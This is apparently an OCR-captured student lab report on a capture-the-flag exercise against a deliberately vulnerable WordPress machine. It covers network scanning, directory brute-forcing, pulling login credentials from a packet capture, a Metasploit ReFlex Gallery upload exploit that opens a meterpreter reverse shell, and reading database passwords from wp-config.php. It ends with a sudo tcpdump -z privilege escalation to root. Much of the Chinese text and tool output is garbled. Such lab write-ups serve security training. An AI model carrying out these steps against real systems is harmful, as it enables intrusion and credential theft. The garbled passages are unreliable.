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1. f+4R&CTF
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1.1 CTF3E e

(1) BN (Jeopardy) TEMEBMENCTFIRMGIF, SHMEF IEE EENEERHMESE, ZHERKCTFREREACMERETIE.
EEFERFHBRM, PR RME e AR B R EMEEREES, 8% A TELERE. S FEQEH R, KRAZHESFRH.
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:~# nmap 192.168.75.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 02:50 EST
Nmap scan report for 192.168.75.1
Host is up (0.00035s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-
443/tcp open https
445/tcp open micro
902/tcp open i
912/tcp open
5357/tcp open wsdapi
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.75.2
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
53/tcp ope domain
Address: 00:50:56:EE:1C:01 (VMware)

Nmap scan report for 192.168.75.138
Host is up (©0.0018s latency).

Mot shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp o http

MAC Addr : @P:0C:29:35:76:9B (VMware)

Nmap scan report for 192.168.75.254

Host is up (0.80029s latency).

All 1000 scanned ports on 192.168.75.254 are filtered
MAC Address: 00:50:56:E1:38:83 (VMware)

Nmap scan report for 192.168.75.137
Host is up (0.8000048s latency).
All 1000 scanned ports on 192.168.75.137 are closed

Nmap done: 256 IP addresses (5 hosts up) scanned in 5.70 seconds g
e l https://blog.csdn.net/gq_4907
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Example site - Justanother X | +

a @ 192.168.75.138 - O In @ =

£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @ Kali Tools @ Exploit-DB W Aircrack-ng @ Kali Forums € NetHunter € Kali Training @ Getting Started

EXA

Just another WordPress site

POSTS

OCTOBER 30, 2018

Hello world! Search... ﬂ

Welcome to WordPress. This is your first post. Edit or delete it, then
start writing!

RECENT POSTS

Hello world!

RECENT COMMENTS

KT fEemstidk Fwordpress
4. F)Fwhatweb#R Ml H #5 M 3 5 FH I CMSH R . BB . 4 FHKCMSE A4 ?

:~# whatweb 192.168.75.138
[200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer| 1[Apache/2.4 (Ubuntu

)1, IP[192.168.75.138], JQuery[1.12.4], MetaGenerator[WordPress 4.9.8], PoweredBy[Word ; ess, ], Script[text/ja
ript], Title[Example site &#8211; Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8]

St

S5C

5. M Rwpscan, & ZEHBHLIhAE.
—MRIAAB TR, fAfwordpressi st K% HIRRE.

6. i/ Dirb BBMuEEEHF. (Dirb2—ANEIMTATREHERNTR, £ KalihPBRI\BL%X, XPTAEFEHIN
patator, dirsearch, DirBuster, EWNK &) HE. LB —NMIFANEREFRXBAEF (BE) .



UUWNLURALUEL: 401L - FUUNDD W

:~# dirb http://192.168.75.138 fusr/share/wordlists/dirb/big.txt

DIRB v2.22
By The Dark Raver

START _TIME: Sat Dec 5 ©03:20:06 2020
URL_BASE: http://192.168.75.138/
WORDLIST FILES: fusr/share/wordlists/dirb/big.txt

GENERATED WORDS: 20458

---- Scanning URL: http://192.168.75.138/ ----
==> DIRECTORY: http://192.168.75.138/ipdata/

+ http://192.168.75.138/server-status (CODE:483|SIZE:302)

=== DIRECTORY: http://192.168.75.138/wp-admin/
==> DIRECTORY: http://192.168.75.138/wp-content/

=== DIRECTORY: http://192.168.75.138/wp-includes/

---- Entering directory: http://192.168.75.138/ipdata/
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

Index of /ipdata x |+

& c @ @ 192.168.75.138/ipdata/
£¥ Most Visited @) Offensive Security @ KaliLinux @ KaliDocs @& Kali Ti

Index of /ipdata

Name Last modified Size Description

& Parent Directory -
[?] analyze.cap 2018-10-30 09:14 2.8M

Apache/2.4.29 (Ubuntu) Server at 192.168.75.138 Port 80

sdn.net/qg_49078152




| M [http. request. nethed==POST

Ho. Tine Source Destination Protocel Length Infe
+ 180 90.210143 192.168.1.222 192.168.1.176 HTTP 799 POST /wordpress/wp-login.php HTTP/1.1 (application/x-www-form-urlencoded)
665 123.135136 192.168.1.222 192.168.1.176 HTTP 1015 POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 (application/x-www-form-urlencoded)

Frame 180: 799 bytes on wire (6392 bits), 799 bytes captured (6392 bits)
Ethernet II, Src: PcsCompu_74:17:d4 (@8:00:27:74:17:d4), Dst: PcsCompu_1d:4d:40 (08:00:27:1d:4d:40)
Internet Protocol Version 4, Src: 192.168.1.222, Dst: 192.168.1.176
Transmission Control Protocol, Src Port: 49558, Dst Port: 8@, Seq: 1, Ack: 1, Len: 733
Hypertext Transfer Protocol
~ HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "log" = "webdeveloper"
Form item: “pwd" "Te5eQg&4sBS!Yrs$)wik(DcAd"
Form item: “wp-submit" "Log In"
Form item: “"redirect_to" *http://192.168.1.176/wordpress/wp-admin/"
Form item: "testcookie" =

9. A LE—SBANBEEEANMIEG. BE.

Dashboard « Example site — WordPress - Mozilla Firefox @ e O
Index of f/ipdata X | Index of fipdata X | Dashboard < Example site — X | 4
<« G & @ F 192.168.75.138/wp-admin/ B |- 9% L@ =

%+ Most Visited @ Offensive Security @) KaliLinux @ KaliDocs @ Kali Tools @ Exploit-DB W Aircrack-ng @ Kali Forums & NetHunter @ Kali Training @ Getting Started

Screen

@& Dashboard

WordPress 5.5.3 is available! Please update now.

Home

Dashboard

€3 Dismiss

A new, modern publishing experience is coming soon.

media, and layout in new directions with Gutenberg, the WordPress editor we're currently building.

mments

Test the new editor today. Not quite ready?

Appe @ You can take Gutenberg for a spin {and share your The new editor will be enabled by default in the
feedback, if you'd like) before we officially release next major release of WordPress. If you're not
Plugins it, by installing it as a plugin. You can help by sure how compatible your current themes and
testing, filing bugs, er centributing en the GitHub plugins are, we've got you covered. Install the
N repository. Classic Editor plugin to keep using the current

editor until you're ready te make the switch.

Il
B
B

Install the Classic Editor

L)

Learn more about Gutenberg

Welcome to WordPress! © Dismiss
We've assembled some links to get you started:
192.168.75.138/wp-admin/edit.php?post_type=page Next Steps More Actions 2

10. R ZCMSHFER (FEAFPlugind #&iF .



ER RS =R — AN

Plugins « Example site — WordPress - Mozilla Firefox [— IO - ]

about:sessionrestore X | Plugins < Example site — W X | +

K3 c @ @ 192.168.75.138/wp-admin/plugins.php B |- 9% v €0
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @ KaliTools € Exploit-DB W Aircrack-ng @ Kali Forums @ NetHunter @ Kali Training @& Getting Started

A Example site

Dashboard
WordPress 5.6 is available! Please update now.

Posts
Media Plugins | Addnew
Pages All(3) | Active 1) | Inactive (2) | Recently Active (1) | Update Available (3)

S ButkActlonsj Apply 3items

Plugin Description
Appearance
< Plugi Akismet Anti-Spam  Used by milliens, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep.
2
e ugins (@ Activate Delete To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key

Installed Plugins Version 4.0.8 | By Automattic | View details

There is a new version of Akismet Anti-Spam available. View version 4.1.7 details or update now
Editor

& Users Hello Dolly This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two werds sung most famously by Louis
Activate Delete Armstrong: Helle, Dolly. When activated you will randemly see a lyric from Helle, Dolly in the upper right of your admin screen on every page
&~ Tools

Settings

Version 1.7 | By Matt Mullenweg | View details

There is a new version of Hello Dolly available. View version 1.7.2 details or update now
£} ReFlex Gallery
o . ReFlex Gallery Wordpress Plugin for creating responsive image galleries. By: HahnCreativeGroup

Deactivate Version 3.1.3 | By HahnCreativeGroup | View details

There is a new version of ReFlex Gallery available. View version 3.1.7 details or update now

Plugin Description

1031 auxiliary - 315 post
539 payloads - 42 encoders - 1@ nops
--=[ Free Metasploit Pro trialguhdBroty Fsdn B




1. EEEEHEFREERRR; 2£8REF—NRERE (nfor] LRBIRIAMSEE E R MG S 3.8 L BT 1) B fripHiht
setrhost B fnipHiht4, E1734TBE A exploitdi & run

gallery
cache not built yet, using slow

Disclosure Date Description

2015-03-30 Gallery WD for Joomla! Unauthenticat
2015-02-24 g s Vi Gallery Unaut
ery Directory
2007-03-04 s ali ) e nc
PP _piceditor 20 01-36 4 —oppe 0 Gallery picEdi
allery upload e 2012-07- e e ry PHP File Upload Vulne
2014-11- 0 h
2012-12-
2014-08 excellent

ix/webapp/wp_reflexgallery file upload
) > set rhost 192.168.

) > exploit

TCP handler on 192.168.75.137:4444

Our payload i t: tLYVEK q.php. Calling payload...
Calling paylo -
nding (37775 bytes) 192.168.75.138
ion 1 op 192.168.75.137:4444 -> 192.168.75.138:49718) at 2020-12-13 06:43:23 -0500




A AL EIH B,
LR T —Tls GIHXHFIR) , KRERTIAXHATIN, ZEMAE TRENME, Bls— TRIHKXHFRERET
H AR 3 A

'|_L
st in /var/www/html/wp-content/uploads/2620/12
= Jvar/www/html
command: /var/www/html.

Jvar/www/html

Mode Size Type Last modified Name

100644/ rw-r--r- 8 fil 2018-10-30 03:34: -0400 index.php
40755/ rwXr-xr-x 196 dir 2018-10-30 B85:17: -0400 ipdata
100644/ rw-r--r- Tl 2018-10-30 03:34: -8400 license.txt
100644/ rw-r--r- fil 2018-10-30 03:34: -0400 readme.html
A fil 2018-10-30 03:34: -8400 wp-activate.php
dir 2018-10-30 03:34: -8400 wp-admin
- fil 2018-10-30 03:34: -0480 wp-blog-header.php
100644/ rw-r--r- - fil 2018-10-30 03:34: -8400 wp-comments-post.php
100644/ rw-r--r- 2 fil 2018-10-30 03:34: -8400 wp-config-sample.php
fil 2018-10-30 05:16: -0480 wp-config.php
dir 2020-12- 35:49: -0580 wp-Ccontent
fil 2018-10-30 03:34: -400 wp-cron.php
dir 2018-10-30 03:34: -0400 wp-includes
fil 2018-10-30 03:34: -8400 wp-links-opml.php
2 fil 2018-10-30 03:34:05 -0400 wp-load.php
100644/ rw-r--r- 4 Til 2018-10-30 03:34: -0480 wp-login.php
100644/ rw-r--r- )4 fil 2018-10-30 03:34: -0400 wp-mail.php
100644/ rw-r--r- 5246 Til 2018-10-30 03:34:05 -0400 wp-settings.php
100644/ rw-r--r- o]0 fil 2018-10-30 03:34:05 -0400 wp-signup.php
100644/ rw-r--r- 4626 fil 2018-10-30 03:34:05 -8400 wp-trackback.php
100644/ rw-r--r- )6 fil 2018-10-30 03:34: -0480 xmlrpc.php

= er > cat wp-config.php
stdapi fs stat: Operation failed: 1
meterpreter > cat /var/www/html/wp-config.php

* The base configuration for WordPress

* The wp-config.php creation script uses this file during the
< installation. You don't have to use the web site, you can

< copy this file to "wp-config.php" and fill in the values P




// ** MySQL settings - You can get this info from your web host ** //
/** The name of the ddtdbdhr fur WordPress */
define('DB_NAME', ' -

/** MySQL database username */
define('DB USER', 'webdeveloper');

/*¥* MySQL database password */

define('DB_PASSWORD', 'MasterOfTheUniverse

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define{'DB_CHARSET', 'utf8mb4') ;

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', ''); it log.csdn.net/qq_49078152

ZRA A _E— B IRGH U7 9 B0 P P A R S BGR IE R 5 3% . B
% xssh K5 @EX i ipHhhk f %

sh webdeveloper@l92.168.75.138
wrbdrVrluprr@19’ 168.75.138's password:
Welcome to Ubuntu 18.84.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical. com
* Support: https://ubuntu.com/advantage

ystem information as of Sun Dec 13 13:05:06 UTC 2820
Processes: 157
. of 19.56GB Users lnggrd in: 0]
IP address for eth®: 192.168.75.138

Swap usage:

* Introducing
Simple, hardene Kubcrnctis for pruductlun, frum RaspberryPi to DC.

https://microk8s.io/high-availability

Last login: Tue Oct 30 ©9:25:27 2018 from 192.168

1. ZEE/rootflag.txt UL FEAEB RIS RBEEBER U TEHA.

webdeveloper@webdeveloper:~$ cat /root/flag.txt
cat: /root/flag.txt: Perm on denied
webdeveloper@webdeveloper sudo cat /root/flag.txt

[sudo] password for webdeveloper:

Sorry, user webdeveloper is not allowed to execute '/bin/cat /root/flag.txt' as root on webdeveloper.



HEEEE.
2 f# AtcpdumpHATHEE 4 (HtcpdumpfiR B HIELE 2 PATHRERm L.
HE L BB AT RAT @S

webdeveloper@w
[sudo] pa
Matching

env_r

User webdeveloper may run the following commands on webdeveloper:
(root) /usr/sbin/tcpdump

RILAT Lhrooth BR $44T tepdump iy &

ol G s

touch /tmp/exploit1

H Ashellcode

echo ‘cat /root/flag.txt’ > /tmp/exploit

T A AT AR

chmod +x /tmp/exploit

F) A tcpdumpHATAE B A &

sudo tcpdump -i ethO -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
$15flag

vebdeveloper:-$ compre savefile: execlp(/tmp/exploit, /dev/null) failed: No such file or directory
webdeveloper:~$ touch / loitl
webdeveloper:~$ echo ' ‘root/flag.txt'> /tmp/exploit
vebdevelope $ chmod +x /tmp/ loit
webdeveloper:~$ sudo tcpdump -i eth® -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
dropped pri to root
tcpdump: listening on eth®, link-type EN18MB (Ethernet), capture size 262144 bytes

Maximum file limit reached: 1
1 packet Cdptur“'

b" kernel
webdeveloper@webdeveloper:~$ Congratulations here is youre flag:
cbaf45a5a4f26f1lcd8d7be%a5c2b1b34f6c5d290

tepdump iy & VA% :

-i eth0 TR EM R HER LIRS

-w /dev/null ¥R B M BB AR B BT RS (Rl BELER)

-z [command] i217¥8 & Ky 4

-Z [user] ¥8 5& F P $0AT i &

-G [rotate_seconds] #Frotate_secondst) — R ISR 4T -wHE & KBk
-W [num] #& E I EHE



	CTF实践
	实验四 CTF实践
	1、发现目标 (netdiscover)，找到WebDeveloper的IP地址。截图。2、:利用NMAP扫描目标主机，发现目标主机端口开放、服务情况，截图并说明目标提供的服务有哪些？（利用第一次实验知识点）
	3、若目标主机提供了HTTP服务，尝试利用浏览器访问目标网站。截图。是否有可用信息？
	4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么？
	5、网络搜索wpscan，简要说明其功能。
	6、使用 Dirb 爆破网站目录。（Dirb 是一个专门用于爆破目录的工具，在 Kali 中默认已经安装，类似工具还有国外的patator，dirsearch，DirBuster， 国内的御剑）截图。找到一个似乎和网络流量有关的目录（路径）。
	7、浏览器访问该目录（路径），发现一个cap文件。截图。
	8、利用Wireshark分析该数据包，分析TCP数据流。找到什么有用的信息？截图。
	9、利用上一步得到的信息进入网站后台。截图。
	10、利用该CMS存在的（插件Plugin）漏洞。
	11、利用该插件漏洞提权。
	12、SSH登录服务器



